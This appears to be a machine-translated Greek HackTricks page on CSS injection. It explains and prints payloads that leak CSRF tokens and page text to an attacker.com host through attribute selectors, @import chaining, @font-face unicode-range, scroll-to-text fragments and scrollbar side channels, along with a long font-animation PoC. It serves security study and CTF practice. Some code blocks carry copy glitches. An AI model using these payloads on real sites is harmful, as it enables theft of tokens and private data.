.. | ||
css-injection-code.md | ||
README.md |
CSS Injection
Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (Ειδικός Red Team του HackTricks AWS)!
Άλλοι τρόποι υποστήριξης του HackTricks:
- Αν θέλετε να δείτε την εταιρεία σας διαφημισμένη στο HackTricks ή να κατεβάσετε το HackTricks σε μορφή PDF ελέγξτε τα ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ!
- Αποκτήστε το επίσημο PEASS & HackTricks swag
- Ανακαλύψτε την Οικογένεια PEASS, τη συλλογή μας από αποκλειστικά NFTs
- Εγγραφείτε στη 💬 ομάδα Discord ή στη ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @carlospolopm.
- Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα HackTricks και HackTricks Cloud αποθετήρια του github.
Ομάδα Ασφαλείας Try Hard
{% embed url="https://discord.gg/tryhardsecurity" %}
Ενσωμάτωση CSS
Επιλογέας Χαρακτηριστικών
Οι επιλογείς CSS δημιουργούνται για να ταιριάζουν με τιμές των χαρακτηριστικών name
και value
ενός στοιχείου input
. Εάν το χαρακτηριστικό τιμής του στοιχείου εισόδου ξεκινά με ένα συγκεκριμένο χαρακτήρα, φορτώνεται ένα προκαθορισμένο εξωτερικό πόρο:
input[name=csrf][value^=a]{
background-image: url(https://attacker.com/exfil/a);
}
input[name=csrf][value^=b]{
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name=csrf][value^=9]{
background-image: url(https://attacker.com/exfil/9);
}
Ωστόσο, αυτή η προσέγγιση αντιμετωπίζει μια περιορισμένη λειτουργία όταν ασχολείται με κρυμμένα στοιχεία εισόδου (type="hidden"
) επειδή τα κρυμμένα στοιχεία δεν φορτώνουν φόντα.
Παράκαμψη για Κρυμμένα Στοιχεία
Για να παρακάμψετε αυτό τον περιορισμό, μπορείτε να στοχεύσετε ένα επόμενο αδελφικό στοιχείο χρησιμοποιώντας το γενικό συνδυαστή αδελφικού (~
). Ο κανόνας CSS εφαρμόζεται στα όλα τα αδέλφια που ακολουθούν το κρυμμένο στοιχείο εισόδου, προκαλώντας τη φόρτωση της εικόνας φόντου:
input[name=csrf][value^=csrF] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}
Ένα πρακτικό παράδειγμα εκμετάλλευσης αυτής της τεχνικής αναλύεται στο αναλυτικό κομμάτι κώδικα που παρέχεται. Μπορείτε να το δείτε εδώ.
Προϋποθέσεις για την Εισαγωγή CSS
Για να είναι αποτελεσματική η τεχνική Εισαγωγής CSS, πρέπει να πληρούνται ορισμένες προϋποθέσεις:
- Μήκος Φορτίου: Ο διάνυσμα εισαγωγής CSS πρέπει να υποστηρίζει αρκετά μεγάλα φορτία για να χωρέσει τους κατασκευασμένους επιλογείς.
- Επανεκτίμηση CSS: Θα πρέπει να έχετε τη δυνατότητα να διαμορφώσετε τη σελίδα, η οποία είναι απαραίτητη για να ενεργοποιηθεί η επανεκτίμηση του CSS με νεοδημιουργημένα φορτία.
- Εξωτερικοί Πόροι: Η τεχνική υποθέτει τη δυνατότητα χρήσης εικόνων που φιλοξενούνται εξωτερικά. Αυτό ενδέχεται να περιορίζεται από την Πολιτική Ασφαλείας Περιεχομένου (CSP) του ιστότοπου.
Τυφλός Επιλογέας Χαρακτηριστικών
Όπως εξηγείται σε αυτήν την ανάρτηση, είναι δυνατόν να συνδυάσετε τους επιλογείς :has
και :not
για να αναγνωρίσετε περιεχόμενο ακόμα και από τυφλά στοιχεία. Αυτό είναι πολύ χρήσιμο όταν δεν έχετε ιδέα τι περιέχεται στην ιστοσελίδα που φορτώνει την εισαγωγή CSS.
Είναι επίσης δυνατόν να χρησιμοποιήσετε αυτούς τους επιλογείς για να εξάγετε πληροφορίες από διάφορα τμήματα του ίδιου τύπου όπως στο:
<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
background:url(/m);
}
</style>
<input name=mytoken value=1337>
<input name=myname value=gareth>
Συνδυάζοντας αυτό με την ακόλουθη τεχνική @import, είναι δυνατή η εξαγωγή πολλών πληροφοριών χρησιμοποιώντας ενσωμάτωση CSS από τυφλές σελίδες με blind-css-exfiltration.
@import
Η προηγούμενη τεχνική έχει μερικά μειονεκτήματα, ελέγξτε τις προϋποθέσεις. Χρειάζεται είτε να μπορείτε να στείλετε πολλούς συνδέσμους στο θύμα, είτε να μπορείτε να ενσωματώσετε την ευπάθεια ενσωμάτωσης CSS σε μια σελίδα.
Ωστόσο, υπάρχει μια άλλη εξυπνη τεχνική που χρησιμοποιεί το CSS @import
για να βελτιώσει την ποιότητα της τεχνικής.
Αυτό πρωτοεμφανίστηκε από τον Pepe Vila και λειτουργεί ως εξής:
Αντί να φορτώνουμε την ίδια σελίδα ξανά και ξανά με δεκάδες διαφορετικά φορτία κάθε φορά (όπως στην προηγούμενη), θα φορτώσουμε τη σελίδα μόνο μια φορά και μόνο με ένα import στον διακομιστή των επιτιθέμενων (αυτό είναι το φορτίο που πρέπει να σταλεί στο θύμα):
@import url('//attacker.com:5001/start?');
- Η εισαγωγή θα λάβει κάποιο CSS script από τους επιτιθέμενους και ο περιηγητής θα το φορτώσει.
- Το πρώτο μέρος του CSS script που θα στείλει ο επιτιθέμενος είναι άλλο ένα
@import
προς τον διακομιστή των επιτιθέμενων. - Ο διακομιστής των επιτιθέμενων δεν θα απαντήσει ακόμα σε αυτό το αίτημα, καθώς θέλουμε να διαρρεύσουμε μερικούς χαρακτήρες και στη συνέχεια να απαντήσουμε σε αυτήν την εισαγωγή με το φορτίο για να διαρρεύσουμε τους επόμενους.
- Το δεύτερο και μεγαλύτερο μέρος του φορτίου θα είναι ένα φορτίο διαρροής επιλογέα γνωρισμάτων.
- Αυτό θα στείλει στον διακομιστή των επιτιθέμενων τον πρώτο χαρακτήρα του μυστικού και τον τελευταίο.
- Μόλις ο διακομιστής των επιτιθέμενων λάβει τον πρώτο και τον τελευταίο χαρακτήρα του μυστικού, θα απαντήσει στην εισαγωγή που ζητήθηκε στο βήμα 2.
- Η απάντηση θα είναι ακριβώς η ίδια με τα βήματα 2, 3 και 4, αλλά αυτή τη φορά θα προσπαθήσει να βρει τον δεύτερο χαρακτήρα του μυστικού και στη συνέχεια τον προτελευταίο.
Ο επιτιθέμενος θα ακολουθήσει αυτόν τον βρόχο μέχρι να καταφέρει να διαρρεύσει πλήρως το μυστικό.
Μπορείτε να βρείτε το αρχικό κώδικα του Pepe Vila για την εκμετάλλευση αυτού εδώ ή μπορείτε να βρείτε σχεδόν τον ίδιο κώδικα αλλά σχολιασμένο εδώ.
{% hint style="info" %} Το σενάριο θα προσπαθήσει να ανακαλύψει 2 χαρακτήρες κάθε φορά (από την αρχή και από το τέλος) επειδή ο επιλογέας γνωρισμάτων επιτρέπει να γίνουν πράγματα όπως:
/* value^= to match the beggining of the value*/
input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)}
/* value$= to match the ending of the value*/
input[value$="f"]{--e0:url(http://localhost:5001/leak?post=f)}
Αυτό επιτρέπει στο script να διαρρεύσει το μυστικό πιο γρήγορα. {% endhint %}
{% hint style="warning" %}
Μερικές φορές το script δεν ανιχνεύει σωστά ότι το εντοπισμένο πρόθεμα + επίθεμα είναι ήδη η πλήρης σημαία και θα συνεχίσει προς τα εμπρός (στο πρόθεμα) και προς τα πίσω (στο επίθεμα) και σε κάποιο σημείο θα κολλήσει.
Μην ανησυχείτε, απλά ελέγξτε τη έξοδο επειδή μπορείτε να δείτε τη σημαία εκεί.
{% endhint %}
Άλλοι επιλέκτες
Άλλοι τρόποι πρόσβασης σε τμήματα DOM με επιλέκτες CSS:
.class-to-search:nth-child(2)
: Αυτό θα αναζητήσει το δεύτερο στοιχείο με την κλάση "class-to-search" στο DOM.- Επιλέκτης
:empty
: Χρησιμοποιείται για παράδειγμα στο συγκεκριμένο writeup:
[role^="img"][aria-label="1"]:empty { background-image: url("YOUR_SERVER_URL?1"); }
Βασισμένο σε Σφάλματα XS-Search
Αναφορά: Επίθεση βασισμένη σε CSS: Κατάχρηση του unicode-range του @font-face , Απόδειξη Έργου XS-Search βασισμένη σε Σφάλματα από τον @terjanq
Η γενική πρόθεση είναι να χρησιμοποιήσετε ένα προσαρμοσμένο γραμματοσειρά από έναν ελεγχόμενο τερματικό σημείο και να διασφαλίσετε ότι ο κείμενος (σε αυτήν την περίπτωση, 'Α') εμφανίζεται με αυτήν τη γραμματοσειρά μόνο αν το καθορισμένο πόρισμα (favicon.ico
) δεν μπορεί να φορτωθεί.
<!DOCTYPE html>
<html>
<head>
<style>
@font-face{
font-family: poc;
src: url(http://attacker.com/?leak);
unicode-range:U+0041;
}
#poc0{
font-family: 'poc';
}
</style>
</head>
<body>
<object id="poc0" data="http://192.168.0.1/favicon.ico">A</object>
</body>
</html>
- Χρήση Προσαρμοσμένης Γραμματοσειράς:
- Μια προσαρμοσμένη γραμματοσειρά ορίζεται χρησιμοποιώντας τον κανόνα
@font-face
μέσα σε ένα<style>
tag στην ενότητα<head>
. - Η γραμματοσειρά ονομάζεται
poc
και ανακτάται από έναν εξωτερικό τερματικό (http://attacker.com/?leak
). - Η ιδιότητα
unicode-range
ορίζεται σεU+0041
, στοχεύοντας το συγκεκριμένο Unicode χαρακτήρα 'A'.
- Μια προσαρμοσμένη γραμματοσειρά ορίζεται χρησιμοποιώντας τον κανόνα
- Στοιχείο Αντικειμένου με Εναλλακτικό Κείμενο:
- Ένα στοιχείο
<object>
μεid="poc0"
δημιουργείται στην ενότητα<body>
. Αυτό το στοιχείο προσπαθεί να φορτώσει ένα πόρο από τοhttp://192.168.0.1/favicon.ico
. - Το
font-family
γι' αυτό το στοιχείο ορίζεται σε'poc'
, όπως έχει οριστεί στην ενότητα<style>
. - Αν ο πόρος (
favicon.ico
) αποτύχει να φορτωθεί, το εναλλακτικό περιεχόμενο (το γράμμα 'A') μέσα στην ετικέτα<object>
εμφανίζεται. - Το εναλλακτικό περιεχόμενο ('A') θα αποτυπωθεί χρησιμοποιώντας την προσαρμοσμένη γραμματοσειρά
poc
αν ο εξωτερικός πόρος δεν μπορεί να φορτωθεί.
- Ένα στοιχείο
Στυλιστική Καθοδήγηση προς το Κομμάτι Κειμένου Κύλισης
Η :target
ψευδο-κλάση χρησιμοποιείται για να επιλέξει ένα στοιχείο που έχει στοχευτεί από ένα κομμάτι URL, όπως καθορίζεται στην προδιαγραφή CSS Επιλογέων Επιπέδου 4. Είναι κρίσιμο να κατανοήσουμε ότι το ::target-text
δεν ταιριάζει με κανένα στοιχείο εκτός αν το κείμενο στοχεύεται ρητά από το κομμάτι.
Μια ανησυχία ασφαλείας προκύπτει όταν οι επιτιθέμενοι εκμεταλλεύονται το χαρακτηριστικό Κομμάτι Κειμένου Κύλισης, επιτρέποντάς τους να επιβεβαιώσουν την παρουσία συγκεκριμένου κειμένου σε μια ιστοσελίδα μέσω ενσωμάτωσης HTML. Η μέθοδος περιλαμβάνει την ενσωμάτωση ενός κανόνα CSS όπως αυτό:
:target::before { content : url(target.png) }
Σε τέτοια σενάρια, εάν το κείμενο "Διαχειριστής" υπάρχει στη σελίδα, ο πόρος target.png
ζητείται από τον διακομιστή, υποδεικνύοντας την παρουσία του κειμένου. Μια περίπτωση αυτής της επίθεσης μπορεί να εκτελεστεί μέσω ενός ειδικά δημιουργημένου URL που ενσωματώνει το ενθετωμένο CSS δίπλα σε ένα κομμάτι κώδικα κύλισης προς κείμενο:
http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
Εδώ, η επίθεση διαχειρίζεται την ενσωμάτωση HTML για τη μετάδοση του κώδικα CSS, με στόχο το συγκεκριμένο κείμενο "Διαχειριστής" μέσω του Scroll-to-text fragment (#:~:text=Διαχειριστής
). Εάν το κείμενο βρεθεί, ο προσδιορισμένος πόρος φορτώνεται, σηματοδοτώντας αθέλητα την παρουσία του στον επιτιθέμενο.
Για τη μείωση του κινδύνου, πρέπει να ληφθούν υπόψη τα ακόλουθα σημεία:
- Περιορισμένη Αντιστοίχιση STTF: Το Scroll-to-text Fragment (STTF) σχεδιάστηκε για να αντιστοιχίζει μόνο λέξεις ή προτάσεις, περιορίζοντας έτσι τη δυνατότητά του να διαρρεύσει αυθαίρετα μυστικά ή τεκμήρια.
- Περιορισμός σε Πλαίσια Περιήγησης Κορυφαίου Επιπέδου: Το STTF λειτουργεί μόνο σε πλαίσια περιήγησης κορυφαίου επιπέδου και δεν λειτουργεί εντός iframes, κάτι που καθιστά οποιαδήποτε προσπάθεια εκμετάλλευσης πιο εμφανή στον χρήστη.
- Ανάγκη Ενεργοποίησης Χρήστη: Το STTF απαιτεί μια κίνηση ενεργοποίησης χρήστη για να λειτουργήσει, πράγμα που σημαίνει ότι οι εκμεταλλεύσεις είναι εφικτές μόνο μέσω πλοήγησης που ξεκινά ο χρήστης. Αυτή η απαίτηση μειώνει σημαντικά τον κίνδυνο των επιθέσεων να είναι αυτοματοποιημένες χωρίς τη συμμετοχή του χρήστη. Ωστόσο, ο συγγραφέας του blog αναφέρει συγκεκριμένες συνθήκες και παρακάμψεις (π.χ., κοινωνική μηχανική, αλληλεπίδραση με διαδεδομένες επεκτάσεις προγραμματιστικού περιβάλλοντος) που μπορεί να διευκολύνουν την αυτοματοποίηση της επίθεσης.
Η ενημέρωση για αυτούς τους μηχανισμούς και τις πιθανές ευπάθειες είναι καίρια για τη διατήρηση της ασφάλειας του web και την προστασία από τέτοιες εκμεταλλευτικές τακτικές.
Για περισσότερες πληροφορίες ελέγξτε την αρχική αναφορά: https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/
Μπορείτε να ελέγξετε ένα εκμετάλλευση χρησιμοποιώντας αυτήν την τεχνική για ένα CTF εδώ.
@font-face / unicode-range
Μπορείτε να καθορίσετε εξωτερικά γραφήματα για συγκεκριμένες τιμές unicode που θα συγκεντρωθούν μόνο αν αυτές οι τιμές unicode είναι παρόντες στη σελίδα. Για παράδειγμα:
<style>
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?A); /* fetched */
unicode-range:U+0041;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?B); /* fetched too */
unicode-range:U+0042;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?C); /* not fetched */
unicode-range:U+0043;
}
#sensitive-information{
font-family:poc;
}
</style>
<p id="sensitive-information">AB</p>htm
Όταν αποκτάτε πρόσβαση σε αυτή τη σελίδα, το Chrome και το Firefox ανακτούν τα "?A" και "?B" επειδή το κείμενο του sensitive-information περιέχει τους χαρακτήρες "A" και "B". Αλλά το Chrome και το Firefox δεν ανακτούν το "?C" επειδή δεν περιέχει το "C". Αυτό σημαίνει ότι καταφέραμε να διαβάσουμε τα "A" και "B".
Εξυπνηρία κειμένου (I): λιγατούρες
Αναφορά: Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację
Η τεχνική που περιγράφεται εμπλέκει την εξαγωγή κειμένου από έναν κόμβο εκμεταλλευόμενη τις λιγατούρες γραμματοσειράς και παρακολουθώντας τις αλλαγές στο πλάτος. Η διαδικασία περιλαμβάνει αρκετά βήματα:
- Δημιουργία Προσαρμοσμένων Γραμμάτων:
- Τα γράμματα SVG δημιουργούνται με γλυφές που έχουν το χαρακτηριστικό
horiz-adv-x
, το οποίο ορίζει ένα μεγάλο πλάτος για μια γλυφή που αντιπροσωπεύει μια ακολουθία δύο χαρακτήρων. - Παράδειγμα γλυφής SVG:
<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>
, όπου "XY" υποδηλώνει μια ακολουθία δύο χαρακτήρων. - Αυτά τα γράμματα μετατρέπονται στη μορφή woff χρησιμοποιώντας το fontforge.
- Ανίχνευση Αλλαγών Πλάτους:
- Χρησιμοποιείται CSS για να εξασφαλιστεί ότι το κείμενο δεν αναδιπλώνεται (
white-space: nowrap
) και για να προσαρμοστεί το στυλ της μπάρας κύλισης. - Η εμφάνιση μιας οριζόντιας μπάρας κύλισης, με ξεχωριστό στιλ, λειτουργεί ως ένδειξη (οράκελ) ότι μια συγκεκριμένη λιγατούρα, και επομένως μια συγκεκριμένη ακολουθία χαρακτήρων, υπάρχει στο κείμενο.
- Το CSS που εμπλέκεται:
body { white-space: nowrap };
body::-webkit-scrollbar { background: blue; }
body::-webkit-scrollbar:horizontal { background: url(http://attacker.com/?leak); }
- Διαδικασία Εκμετάλλευσης:
- Βήμα 1: Δημιουργία γραμμάτων για ζεύγη χαρακτήρων με σημαντικό πλάτος.
- Βήμα 2: Χρησιμοποιείται ένα κόλπο βασισμένο στη μπάρα κύλισης για να ανιχνευθεί πότε η μεγάλη γλυφή πλάτους (λιγατούρα για ένα ζεύγος χαρακτήρων) απεικονίζεται, υποδηλώνοντας την παρουσία της ακολουθίας χαρακτήρων.
- Βήμα 3: Μετά την ανίχνευση μιας λιγατούρας, δημιουργούνται νέες γλυφές που αντιπροσωπεύουν τριών χαρακτήρων ακολουθίες, ενσωματώνοντας το ανιχνευμένο ζεύγος και προσθέτοντας έναν προηγούμενο ή διαδοχικό χαρακτήρα.
- Βήμα 4: Πραγματοποιείται η ανίχνευση της τριών χαρακτήρων λιγατούρας.
- Βήμα 5: Η διαδικασία επαναλαμβάνεται, αποκαλύπτοντας σταδιακά ολόκληρο το κείμενο.
- Βελτιστοποίηση:
- Η τρέχουσα μέθοδος εκκίνησης με χρήση
<meta refresh=...
δεν είναι βέλτιστη. - Μια πιο αποδοτική προσέγγιση θα μπορούσε να περιλαμβάνει το κόλπο
@import
στο CSS, βελτιώνοντας την απόδοση της εκμετάλλευσης.
Εξυπνηρία κειμένου (II): διαρροή του συνόλου χαρακτήρων με μια προεπιλεγμένη γραμματοσειρά (χωρίς την ανάγκη εξωτερικών πόρων)
Αναφορά: PoC χρησιμοποιώντας το Comic Sans από @Cgvwzq & @Terjanq
Αυτό το κόλπο κυκλοφόρησε σε αυτό το Slackers thread. Το σύνολο χαρακτήρων που χρησιμοποιείται σε έναν κόμβο κειμένου μπορεί να διαρρεύσει χρησιμοποιώντας τις προεπιλεγμένες γραμματοσειρές που είναι εγκατεστημένες στον περιηγητή: δεν απαιτούνται εξωτερικά -ή προσαρμοσμένα- γράμματα.
Το συγκεκριμένο κόλπο βασίζεται στη χρήση μιας animation για να αυξήσει σταδιακά το πλάτος ενός div
, επιτρέποντας σε ένα χαρακτήρα κάθε φορά να μεταβεί από το τμήμα 'κατάληξης' του κειμένου στο τμήμα 'προθέματος'. Αυτή η διαδικασία χωρίζει αποτελεσματικά το κείμενο σε δύο τμήματα:
- Πρόθεμα: Η αρχική γραμμή.
- Κατάληξη: Οι επόμενες γραμμές.
Οι στάδιο μετάβασης των χαρακτήρων θα εμφανιστούν ως εξής:
C
ADB
CA
DB
CAD
B
CADB
Κατά τη διάρκεια αυτής της μετάβασης, χρησιμοποιείται το κόλπο unicode-range για να αναγνωρίσει κάθε νέο χαρακτήρα καθώς εντάσσεται στο πρόθεμα. Αυτό επιτυγχάνεται με τη μετάβαση της γραμματοσειράς σε Comic Sans, η οποία είναι εμφανώς ψηλότερη από την προεπιλεγμένη γραμματοσειρά, ενεργοποιώντας έτσι μια κάθετη μπάρα κύλισης. Η εμφάνιση αυτής της μπάρας κύλισης αποκαλύπτει έμμεσα την παρουσία ενός νέου χαρακτήρα στο πρόθεμα.
Αν και αυτή η μέθοδος επιτρέπει την ανίχνευση μοναδικών χαρακτήρων καθώς εμφανίζονται, δεν καθορίζει ποιος χαρακτήρας επαναλαμβάνεται, μόνο ότι έχει συμβεί μια επανάληψη.
{% hint style="info" %}
Βασικά, το unicode-range χρησιμοποιείται για να ανιχνεύσει ένα χαρακτήρα, αλλά καθώς δεν θέλουμε να φορτώσουμε μια εξωτερική γραμματοσειρά, πρέπει να βρούμε άλλον τρόπο.
Όταν ο χαρακτήρας είναι εντοπισμένος, του δίνεται η προεγκατεστημένη γραμματοσειρά Comic Sans, η οποία τον κάνει μεγαλύτερο και ενεργοποιεί μια μπάρα κύλισης που θα διαρρεύσει τον εντοπισμένο χαρακτήρα.
{% endhint %}
Ελέγξτε τον κώδικα που εξήχθη από το PoC:
/* comic sans is high (lol) and causes a vertical overflow */
@font-face{font-family:has_A;src:local('Comic Sans MS');unicode-range:U+41;font-style:monospace;}
@font-face{font-family:has_B;src:local('Comic Sans MS');unicode-range:U+42;font-style:monospace;}
@font-face{font-family:has_C;src:local('Comic Sans MS');unicode-range:U+43;font-style:monospace;}
@font-face{font-family:has_D;src:local('Comic Sans MS');unicode-range:U+44;font-style:monospace;}
@font-face{font-family:has_E;src:local('Comic Sans MS');unicode-range:U+45;font-style:monospace;}
@font-face{font-family:has_F;src:local('Comic Sans MS');unicode-range:U+46;font-style:monospace;}
@font-face{font-family:has_G;src:local('Comic Sans MS');unicode-range:U+47;font-style:monospace;}
@font-face{font-family:has_H;src:local('Comic Sans MS');unicode-range:U+48;font-style:monospace;}
@font-face{font-family:has_I;src:local('Comic Sans MS');unicode-range:U+49;font-style:monospace;}
@font-face{font-family:has_J;src:local('Comic Sans MS');unicode-range:U+4a;font-style:monospace;}
@font-face{font-family:has_K;src:local('Comic Sans MS');unicode-range:U+4b;font-style:monospace;}
@font-face{font-family:has_L;src:local('Comic Sans MS');unicode-range:U+4c;font-style:monospace;}
@font-face{font-family:has_M;src:local('Comic Sans MS');unicode-range:U+4d;font-style:monospace;}
@font-face{font-family:has_N;src:local('Comic Sans MS');unicode-range:U+4e;font-style:monospace;}
@font-face{font-family:has_O;src:local('Comic Sans MS');unicode-range:U+4f;font-style:monospace;}
@font-face{font-family:has_P;src:local('Comic Sans MS');unicode-range:U+50;font-style:monospace;}
@font-face{font-family:has_Q;src:local('Comic Sans MS');unicode-range:U+51;font-style:monospace;}
@font-face{font-family:has_R;src:local('Comic Sans MS');unicode-range:U+52;font-style:monospace;}
@font-face{font-family:has_S;src:local('Comic Sans MS');unicode-range:U+53;font-style:monospace;}
@font-face{font-family:has_T;src:local('Comic Sans MS');unicode-range:U+54;font-style:monospace;}
@font-face{font-family:has_U;src:local('Comic Sans MS');unicode-range:U+55;font-style:monospace;}
@font-face{font-family:has_V;src:local('Comic Sans MS');unicode-range:U+56;font-style:monospace;}
@font-face{font-family:has_W;src:local('Comic Sans MS');unicode-range:U+57;font-style:monospace;}
@font-face{font-family:has_X;src:local('Comic Sans MS');unicode-range:U+58;font-style:monospace;}
@font-face{font-family:has_Y;src:local('Comic Sans MS');unicode-range:U+59;font-style:monospace;}
@font-face{font-family:has_Z;src:local('Comic Sans MS');unicode-range:U+5a;font-style:monospace;}
@font-face{font-family:has_0;src:local('Comic Sans MS');unicode-range:U+30;font-style:monospace;}
@font-face{font-family:has_1;src:local('Comic Sans MS');unicode-range:U+31;font-style:monospace;}
@font-face{font-family:has_2;src:local('Comic Sans MS');unicode-range:U+32;font-style:monospace;}
@font-face{font-family:has_3;src:local('Comic Sans MS');unicode-range:U+33;font-style:monospace;}
@font-face{font-family:has_4;src:local('Comic Sans MS');unicode-range:U+34;font-style:monospace;}
@font-face{font-family:has_5;src:local('Comic Sans MS');unicode-range:U+35;font-style:monospace;}
@font-face{font-family:has_6;src:local('Comic Sans MS');unicode-range:U+36;font-style:monospace;}
@font-face{font-family:has_7;src:local('Comic Sans MS');unicode-range:U+37;font-style:monospace;}
@font-face{font-family:has_8;src:local('Comic Sans MS');unicode-range:U+38;font-style:monospace;}
@font-face{font-family:has_9;src:local('Comic Sans MS');unicode-range:U+39;font-style:monospace;}
@font-face{font-family:rest;src: local('Courier New');font-style:monospace;unicode-range:U+0-10FFFF}
div.leak {
overflow-y: auto; /* leak channel */
overflow-x: hidden; /* remove false positives */
height: 40px; /* comic sans capitals exceed this height */
font-size: 0px; /* make suffix invisible */
letter-spacing: 0px; /* separation */
word-break: break-all; /* small width split words in lines */
font-family: rest; /* default */
background: grey; /* default */
width: 0px; /* initial value */
animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */
animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */
}
div.leak::first-line{
font-size: 30px; /* prefix is visible in first line */
text-transform: uppercase; /* only capital letters leak */
}
/* iterate over all chars */
@keyframes trychar {
0% { font-family: rest; } /* delay for width change */
5% { font-family: has_A, rest; --leak: url(?a); }
6% { font-family: rest; }
10% { font-family: has_B, rest; --leak: url(?b); }
11% { font-family: rest; }
15% { font-family: has_C, rest; --leak: url(?c); }
16% { font-family: rest }
20% { font-family: has_D, rest; --leak: url(?d); }
21% { font-family: rest; }
25% { font-family: has_E, rest; --leak: url(?e); }
26% { font-family: rest; }
30% { font-family: has_F, rest; --leak: url(?f); }
31% { font-family: rest; }
35% { font-family: has_G, rest; --leak: url(?g); }
36% { font-family: rest; }
40% { font-family: has_H, rest; --leak: url(?h); }
41% { font-family: rest }
45% { font-family: has_I, rest; --leak: url(?i); }
46% { font-family: rest; }
50% { font-family: has_J, rest; --leak: url(?j); }
51% { font-family: rest; }
55% { font-family: has_K, rest; --leak: url(?k); }
56% { font-family: rest; }
60% { font-family: has_L, rest; --leak: url(?l); }
61% { font-family: rest; }
65% { font-family: has_M, rest; --leak: url(?m); }
66% { font-family: rest; }
70% { font-family: has_N, rest; --leak: url(?n); }
71% { font-family: rest; }
75% { font-family: has_O, rest; --leak: url(?o); }
76% { font-family: rest; }
80% { font-family: has_P, rest; --leak: url(?p); }
81% { font-family: rest; }
85% { font-family: has_Q, rest; --leak: url(?q); }
86% { font-family: rest; }
90% { font-family: has_R, rest; --leak: url(?r); }
91% { font-family: rest; }
95% { font-family: has_S, rest; --leak: url(?s); }
96% { font-family: rest; }
}
/* increase width char by char, i.e. add new char to prefix */
@keyframes loop {
0% { width: 0px }
1% { width: 20px }
2% { width: 40px }
3% { width: 60px }
4% { width: 80px }
4% { width: 100px }
```css
5% { width: 120px }
6% { width: 140px }
7% { width: 0px }
}
div::-webkit-scrollbar {
background: blue;
}
/* side-channel */
div::-webkit-scrollbar:vertical {
background: blue var(--leak);
}
Εξυπνοποίηση κόμβου κειμένου (III): διαρροή του συνόλου χαρακτήρων με ένα προεπιλεγμένο γραμματοσειρά κρύβοντας στοιχεία (χωρίς την ανάγκη εξωτερικών πόρων)
Αναφορά: Αυτό αναφέρεται ως μια μη επιτυχής λύση σε αυτήν την ανάλυση
Αυτή η περίπτωση είναι πολύ παρόμοια με την προηγούμενη, ωστόσο, σε αυτήν την περίπτωση, ο στόχος του να κάνουμε συγκεκριμένους χαρακτήρες μεγαλύτερους από άλλους είναι να κρύψουμε κάτι όπως ένα κουμπί ώστε να μην πατηθεί από το bot ή μια εικόνα που δεν θα φορτωθεί. Έτσι θα μπορούσαμε να μετρήσουμε την ενέργεια (ή την έλλειψη ενέργειας) και να γνωρίζουμε αν ένας συγκεκριμένος χαρακτήρας υπάρχει μέσα στο κείμενο.
Εξυπνοποίηση κόμβου κειμένου (III): διαρροή του συνόλου χαρακτήρων με χρήση χρονοδιακοπών μνήμης (χωρίς την ανάγκη εξωτερικών πόρων)
Αναφορά: Αυτό αναφέρεται ως μια μη επιτυχής λύση σε αυτήν την ανάλυση
Σε αυτήν την περίπτωση, θα μπορούσαμε να προσπαθήσουμε να διαρρεύσουμε αν ένας χαρακτήρας υπάρχει στο κείμενο φορτώνοντας μια ψεύτικη γραμματοσειρά από την ίδια προέλευση:
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}
Εάν υπάρχει ταιριαστή, το γραμματοσειρά θα φορτωθεί από το /static/bootstrap.min.css?q=1
. Αν και δεν θα φορτωθεί με επιτυχία, ο περιηγητής θα πρέπει να το αποθηκεύσει στη μνήμη cache, και ακόμη κι αν δεν υπάρχει cache, υπάρχει μηχανισμός 304 not modified, έτσι η απόκριση θα πρέπει να είναι πιο γρήγορη από άλλα πράγματα.
Ωστόσο, αν η διαφορά χρόνου μεταξύ της αποθηκευμένης απόκρισης και της μη αποθηκευμένης δεν είναι αρκετά μεγάλη, αυτό δεν θα είναι χρήσιμο. Για παράδειγμα, ο συγγραφέας ανέφερε: Ωστόσο, μετά από δοκιμές, διαπίστωσα ότι το πρώτο πρόβλημα είναι ότι η ταχύτητα δεν είναι πολύ διαφορετική, και το δεύτερο πρόβλημα είναι ότι το bot χρησιμοποιεί τη σημαία disk-cache-size=1
, η οποία είναι πραγματικά σκεπτική.
Εξυγίανση κόμβου κειμένου (III): διαρροή του συνόλου χαρακτήρων με την μέτρηση της φόρτωσης εκατοντάδων τοπικών "γραμματοσειρών" (χωρίς την ανάγκη εξωτερικών πόρων)
Αναφορά: Αυτό αναφέρεται ως μια ανεπιτυχής λύση σε αυτήν την ανάλυση
Σε αυτήν την περίπτωση μπορείτε να υποδείξετε CSS για τη φόρτωση εκατοντάδων ψεύτικων γραμματοσειρών από την ίδια προέλευση όταν συμβεί ταιριαστής. Με αυτόν τον τρόπο μπορείτε να μετρήσετε τον χρόνο που απαιτείται και να ανακαλύψετε αν ένας χαρακτήρας εμφανίζεται ή όχι με κάτι σαν:
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1),
url(/static/bootstrap.min.css?q=2),
....
url(/static/bootstrap.min.css?q=500);
unicode-range: U+0041;
}
Και ο κώδικας του bot φαίνεται έτσι:
browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)
